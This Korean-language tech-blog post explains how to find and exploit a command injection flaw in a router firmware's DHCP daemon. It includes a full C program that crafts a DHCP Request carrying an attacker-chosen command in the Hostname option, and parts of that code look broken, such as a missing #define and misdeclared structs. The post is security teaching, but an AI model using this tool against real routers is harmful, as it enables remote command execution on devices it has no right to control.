Skip to main content

Firmware Command Injection์„ ์•Œ์•„๋ณด์ž!

2023๋…„ 12์›” 4์ผAbout 3 minCArticle(s)blogmeetup.nhncloud.comc

Firmware Command Injection์„ ์•Œ์•„๋ณด์ž! ๊ด€๋ จ

C > Article(s)

Article(s)

Firmware Command Injection์„ ์•Œ์•„๋ณด์ž! | NHN Cloud Meetup
Firmware Command Injection์„ ์•Œ์•„๋ณด์ž!
[NHNํด๋ผ์šฐ๋“œ] Meetup!_Firmware Command Injection์„ ์•Œ์•„๋ณด์ž!
[NHNํด๋ผ์šฐ๋“œ] Meetup!_Firmware Command Injection์„ ์•Œ์•„๋ณด์ž!

๋“ค์–ด๊ฐ€๋ฉฐ

์˜ค๋Š˜๋‚  IoT(Internet of Things, ์‚ฌ๋ฌผ์ธํ„ฐ๋„ท)๋Š” ์‹ค์ƒํ™œ์—์„œ ๋งŽ์€ ํŽธ๋ฆฌํ•จ์„ ์ œ๊ณตํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ๋žŒ์ด ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์žˆ์„ ์ˆ˜ ์—†๋Š” ๊ณณ์—์„œ ์šฐ๋ฆฌ์˜ ๋ˆˆ๊ณผ ๊ท€๋ฅผ ๋Œ€์‹ ํ•˜๋„๋ก ํ”„๋กœ๊ทธ๋ž˜๋ฐ๋œ ์ปดํ“จํ„ฐ๊ฐ€ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๊ณ  ํ™œ์šฉํ•˜์—ฌ ์šฐ๋ฆฌ์—๊ฒŒ ์ œ๊ณตํ•ด ์ค๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์ด์™€ ๋ฐ˜๋Œ€๋˜๋Š” ๊ฒฝ์šฐ๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ์—๊ฒŒ ํŽธ๋ฆฌํ•จ์„ ์ฃผ๋Š” ๊ธฐ๊ธฐ๊ฐ€ ์–ด๋–ป๊ฒŒ ๋ฐ˜๋Œ€๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€ ๋ถ„์„ ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด๊ณ  ์ด๋ฅผ ์‹ค์Šตํ•ด ๋ณด๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

๋ถ„์„ ํ™˜๊ฒฝ ๋ฐ ์‚ฌ์šฉ ๋„๊ตฌ

โ€ป FMK(firmware-mod-kit)๋กœ ๊ณต์œ ๊ธฐ์˜ ํŽŒ์›จ์–ด๋ฅผ ์ถ”์ถœ ๋ฐ ๋ถ„์„ํ–ˆ๋‹ค๋Š” ์ „์ œํ•˜์— ๋ณธ๋ฌธ ์‹ค์Šต์„ ์ง„ํ–‰ํ•˜์˜€์Šต๋‹ˆ๋‹ค.
โ€ป FMK(firmware-mod-kit)๋กœ ๊ณต์œ ๊ธฐ์˜ ํŽŒ์›จ์–ด๋ฅผ ์ถ”์ถœ ๋ฐ ๋ถ„์„ํ–ˆ๋‹ค๋Š” ์ „์ œํ•˜์— ๋ณธ๋ฌธ ์‹ค์Šต์„ ์ง„ํ–‰ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

๋ถ„์„ ์ ˆ์ฐจ

Firmware Command Injection์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.


(์ฒซ ๋ฒˆ์งธ) ์‹œ์Šคํ…œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๊ฐ€?

Grep ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด system ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค. System ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉ ์ค‘์ด๋ฉด ELF ํ—ค๋”์— ๋ฌธ์ž์—ด๋กœ ๊ธฐ๋ก๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ system ๋ฌธ์ž์—ด ๊ฒ€์ƒ‰์„ ํ†ตํ•ด system ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉ ์ค‘์ธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒ€์ƒ‰๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ค‘ dhcpd ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ํ•˜๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.


(๋‘ ๋ฒˆ์งธ) ์‹œ์Šคํ…œ ํ•จ์ˆ˜์˜ ์ธ์ž๊ฐ€ ๋™์ ์œผ๋กœ ์ƒ์„ฑ๋˜๋Š”๊ฐ€?

sendACK ํ•จ์ˆ˜์—์„œ System ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ธ”๋ก์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.


(์„ธ ๋ฒˆ์งธ) ์‹œ์Šคํ…œ ํ•จ์ˆ˜์˜ ์ธ์ž๊ฐ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’์— ์˜ํ–ฅ์„ ๋ฐ›๋Š”๊ฐ€?

์•ž์˜ ๊ณผ์ •์—์„œ sprintf ํ•จ์ˆ˜์˜ ๋ฌธ์ž์—ด ์ธ์ž๊ฐ€ ์ƒ์œ„ ์ฝ”๋“œ์—์„œ ์—ฐ์‚ฐ ํ›„ ์ƒ์„ฑ๋œ ๊ฐ’์ด๋ผ๋Š” ๊ฒƒ์„ ์ถ”์ธกํ•˜์˜€์Šต๋‹ˆ๋‹ค. ๊ฐ’์ด ๋ ˆ์ง€์Šคํ„ฐ์— ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์€ ์—ฐ์‚ฐ ๊ณผ์ •์„ ๊ฑฐ์ณค๋‹ค๋Š” ๋œป์ž…๋‹ˆ๋‹ค. ํ•ด๋‹น ์ธ์ž๋ฅผ ์—ญ์ถ”์ ํ•˜์—ฌ ์ƒ์„ฑ๋˜๋Š” ๊ณผ์ •์„ ๋ถ„์„ํ•œ ๊ฒฐ๊ณผ sprintf ํ•จ์ˆ˜์˜ ๋ฌธ์ž์—ด ์ธ์ž๋Š” get_option ํ•จ์ˆ˜์˜ ๋ฆฌํ„ด ๊ฐ’์ด๋ผ๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€์Šต๋‹ˆ๋‹ค.


์‹ค์Šต

DHCP Request ํŒจํ‚ท์˜ Hostname ์กฐ์ž‘์„ ์œ„ํ•ด ๊ฐ„๋‹จํ•œ ํ”„๋กœ๊ทธ๋žจ์„ ์ œ์ž‘ํ•˜์˜€์Šต๋‹ˆ๋‹ค. (Python์˜ scapy ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ†ตํ•ด ์ง์ ‘ ๊ตฌํ˜„ํ•ด ๋ณด๋Š”๊ฑธ ์ถ”์ฒœํ•ฉ๋‹ˆ๋‹ค.)

main.c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<winSock2.h>
#include<IPHlpApi.h>
#include "dhcp_req.h"
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
void error_handling(char * message);
void set_boost_custom(struct boost_custom * boost_custom_o, int boost_custom_size);
void set_mac_address(struct boost_custom * boost_custom_o);
void set_ip_address(struct boost_custom * boost_custom_o);
void set_injection_code(struct boost_custom * boost_custom_o, char * injection_code, int injection_code_size);
int main(int argc, char ** argv)
{
    WSADATA wsa_data;
    SOCKET send_sock;
    SOCKADDR_IN send_addr;
    struct boost_custom boost_custom_o;
    struct boost_custom * boost_custom_ptr = &boost_custom_o;
    short dhcp_port = 67;

    if (argc != 3)
    {
        printf("Usage : %s<DHCP Server IP address><Injection Code>", argv[0]);
        exit(1);
    }
    if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0)
        error_handling("WSA startup error!");
    send_sock = socket(PF_INET, SOCK_DGRAM, 0);
    if (send_sock == INVALID_SOCKET)
        error_handling("socket error!");
    memset(&send_addr, 0, sizeof(send_addr));
    send_addr.sin_family = AF_INET;
    send_addr.sin_addr.s_addr = inet_addr(argv[1]);
    send_addr.sin_port = htons(dhcp_port);

    if (connect(send_sock, (SOCKADDR*)&send_addr, sizeof(send_addr)) == SOCKET_ERROR)
        error_handling("connect error!");

    set_boost_custom(boost_custom_ptr, sizeof(boost_custom_o));
    set_mac_address(boost_custom_ptr);
    set_ip_address(boost_custom_ptr);
    set_injection_code(boost_custom_ptr, argv[2], strlen(argv[2]));
    send(send_sock, (const char *)&boost_custom_o, sizeof(boost_custom_o), 0);
    return 0;
}
void error_handling(char * message)
{
    fputs(message, stderr);
    fputc('\n', stderr);
    exit(1);
}
void set_boost_custom(struct boost_custom * boost_custom_p, int boost_custom_size)
{
    memset(boost_custom_p, 0, boost_custom_size);
    boost_custom_p->Message_type = 1;
    boost_custom_p->Hardware_type = 1;
    boost_custom_p->Hardware_address_length = 6;
    boost_custom_p->Hops = 0x00;
    boost_custom_p->Transaction_ID = htonl(0x5a4f1782);
    boost_custom_p->Seconds_elapsed = 0x0000;
    boost_custom_p->Bootp_flags = 0x0000;
    boost_custom_p->Client_IP_address = htonl(INADDR_ANY);
    boost_custom_p->Your_client_IP_address = htonl(INADDR_ANY);
    boost_custom_p->Next_server_IP_address = htonl(INADDR_ANY);
    boost_custom_p->Relay_agent_IP_address = htonl(INADDR_ANY);
    boost_custom_p->Magic_cookie = htonl(0x63825363);
    boost_custom_p->Option_type32 = 0x35;
    boost_custom_p->Option_length32 = 0x01;
    boost_custom_p->DHCP_Request32 = 0x03;
    boost_custom_p->Option_type61 = 0x3d;
    boost_custom_p->Option_length61 = 0x07;
    boost_custom_p->Hardware_type_Ethernet61 = 0x01;
    boost_custom_p->option_type50 = 0x32;
    boost_custom_p->option_length50 = 0x04;
    boost_custom_p->option_type12 = 0x0c;
    boost_custom_p->option_length12 = NAMESIZE;
    boost_custom_p->option_type81 = 0x51;
    boost_custom_p->option_length81 = 0x03 + NAMESIZE;
    boost_custom_p->flags81 = 0x00;
    boost_custom_p->a_rr_result81 = 0x00;
    boost_custom_p->ptr_rr_result81 = 0x00;
    boost_custom_p->option_type60 = 0x3c;
    boost_custom_p->option_length60 = 0x08;
    boost_custom_p->vendor_class_identifier_msft60[0] = 0x4d;
    boost_custom_p->vendor_class_identifier_msft60[1] = 0x53;
    boost_custom_p->vendor_class_identifier_msft60[2] = 0x46;
    boost_custom_p->vendor_class_identifier_msft60[3] = 0x54;
    boost_custom_p->vendor_class_identifier_msft60[4] = 0x20;
    boost_custom_p->vendor_class_identifier_msft60[5] = 0x35;
    boost_custom_p->vendor_class_identifier_msft60[6] = 0x2e;
    boost_custom_p->vendor_class_identifier_msft60[7] = 0x30;
    boost_custom_p->option255 = 0xff;
    boost_custom_p->option_type55 = 0x37;
    boost_custom_p->option_length55 = 0x0d;
    boost_custom_p->parameter_request_list_item_1_subnet_mask = 0x01;
    boost_custom_p->parameter_request_list_item_3_router = 0x03;
    boost_custom_p->parameter_request_list_item_6_domain_name_server = 0x06;
    boost_custom_p->parameter_request_list_item_15_domain_name = 0x0f;
    boost_custom_p->parameter_request_list_item_31_perform_router_discover = 0x1f;
    boost_custom_p->parameter_request_list_item_33_static_route = 0x21;
    boost_custom_p->parameter_request_list_item_43_vendor_specific_information = 0x2b;
    boost_custom_p->parameter_request_list_item_44_netbios_over_tcp_ip_name_server = 0x2c;
    boost_custom_p->parameter_request_list_item_46_netbios_over_tcp_ip_node_type = 0x2e;
    boost_custom_p->parameter_request_list_item_47_netbios_over_tcp_ip_scope = 0x2f;
    boost_custom_p->parameter_request_list_item_121_classless_static_route = 0x79;
    boost_custom_p->parameter_request_list_item_249_private_classless_static_route_microsoft = 0xf9;
    boost_custom_p->parameter_request_list_item_252_private_proxy_autodiscovery = 0xfc;
}
void set_mac_address(struct boost_custom * boost_custom_o)
{
    DWORD size = sizeof(PIP_ADAPTER_INFO);
    PIP_ADAPTER_INFO Info;
    ZeroMemory(&Info, size);
    int result = GetAdaptersInfo(Info, &size);
    if (result == ERROR_BUFFER_OVERFLOW)
    {
        Info = (PIP_ADAPTER_INFO)malloc(size);
        GetAdaptersInfo(Info, &size);
    }
    do {
        if (Info->GatewayList.IpAddress.String[0] == '0')
        {
            Info = Info->Next;
        }
        else
        {
            for (int i = 0; i< 6; i++)
            {
                boost_custom_o->Client_MAC_address[i] = Info->Address[i];
                boost_custom_o->Client_MAC_address61[i] = Info->Address[i];
            }
            break;
        }
    } while (Info);
}
void set_ip_address(struct boost_custom * boost_custom_o)
{
    int ip_addr;
    char * ip_addr_temp = (char *)& ip_addr;
    DWORD size = sizeof(PIP_ADAPTER_INFO);
    PIP_ADAPTER_INFO Info;
    ZeroMemory(&Info, size);
    int result = GetAdaptersInfo(Info, &size);
    if (result == ERROR_BUFFER_OVERFLOW)
    {
        Info = (PIP_ADAPTER_INFO)malloc(size);
        GetAdaptersInfo(Info, &size);
    }
    do {
        if (Info->GatewayList.IpAddress.String[0] == '0')
        {
            Info = Info->Next;
        }
        else
        {
            ip_addr = inet_addr(Info->IpAddressList.IpAddress.String);
            for (int i = 0; i< 4; i++)
                boost_custom_o->requested_ip_addres50[i] = ip_addr_temp[i];
            break;
        }
    } while (Info);
}
void set_injection_code(struct boost_custom * boost_custom_o, char * injection_code, int injection_code_size)
{
    memset(&boost_custom_o->host_name12, 0, NAMESIZE);
    memset(&boost_custom_o->client_name81, 0, NAMESIZE);
    for (int i = 0; i< injection_code_size; i++)
    {
        boost_custom_o->host_name12[i] = injection_code[i];
        boost_custom_o->client_name81[i] = injection_code[i];
    }
}

dhcp_req.h

NAMESIZE 12
struct boost_custom {
    char Message_type;
    char Hardware_type;
    char Hardware_address_length;
    char Hops;
    int Transaction_ID;
    short Seconds_elapsed;
    short Bootp_flags;
    int Client_IP_address;
    int Your_client_IP_address;
    int Next_server_IP_address;
    int Relay_agent_IP_address;
    char Client_MAC_address[6];
    char Client_hardware_address_padding[10];
    char Server_host_name_not_given[64];
    char Boot_file_name_not_given[128];
    int Magic_cookie;
    struct Option32 {
        char Option_type32;
        char Option_length32;
        char DHCP_Request32;
    };
    struct Option61 {
        char Option_type61;
        char Option_length61;
        char Hardware_type_Ethernet61;
        char Client_MAC_address61[6];
    };
    struct option50 {
        char option_type50;
        char option_length50;
        char requested_ip_addres50[4];
    };
    struct option12 {
        char option_type12;
        char option_length12;
        char host_name12[NAMESIZE];
    };
    struct option81 {
        char option_type81;
        char option_length81;
        char flags81;
        char a_rr_result81;
        char ptr_rr_result81;
        char client_name81[NAMESIZE];
    };
    struct option60 {
        char option_type60;
        char option_length60;
        char vendor_class_identifier_msft60[8];
    };
    struct option55 {
        char option_type55;
        char option_length55;
        char parameter_request_list_item_1_subnet_mask;
        char parameter_request_list_item_3_router;
        char parameter_request_list_item_6_domain_name_server;
        char parameter_request_list_item_15_domain_name;
        char parameter_request_list_item_31_perform_router_discover;
        char parameter_request_list_item_33_static_route;
        char parameter_request_list_item_43_vendor_specific_information;
        char parameter_request_list_item_44_netbios_over_tcp_ip_name_server;
        char parameter_request_list_item_46_netbios_over_tcp_ip_node_type;
        char parameter_request_list_item_47_netbios_over_tcp_ip_scope;
        char parameter_request_list_item_121_classless_static_route;
        char parameter_request_list_item_249_private_classless_static_route_microsoft;
        char parameter_request_list_item_252_private_proxy_autodiscovery;
    };
    char option255;
    char padding_00;
};

์กฐ์ž‘ ํ”„๋กœ๊ทธ๋žจ์„ ์ด์šฉํ•ด DHCP request ํŒจํ‚ท์˜ Hostname์„ ์‹œ์Šคํ…œ ๋ช…๋ น์–ด๋กœ ๋ณ€์กฐํ•˜๋ฉด System ๋ช…๋ น์–ด๋ฅผ ์ˆ˜ํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์™€ ๊ฐ™์ด command Injection์ด ๊ฒ€์ฆ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ธด ๊ธ€์„ ์ฝ์–ด ์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.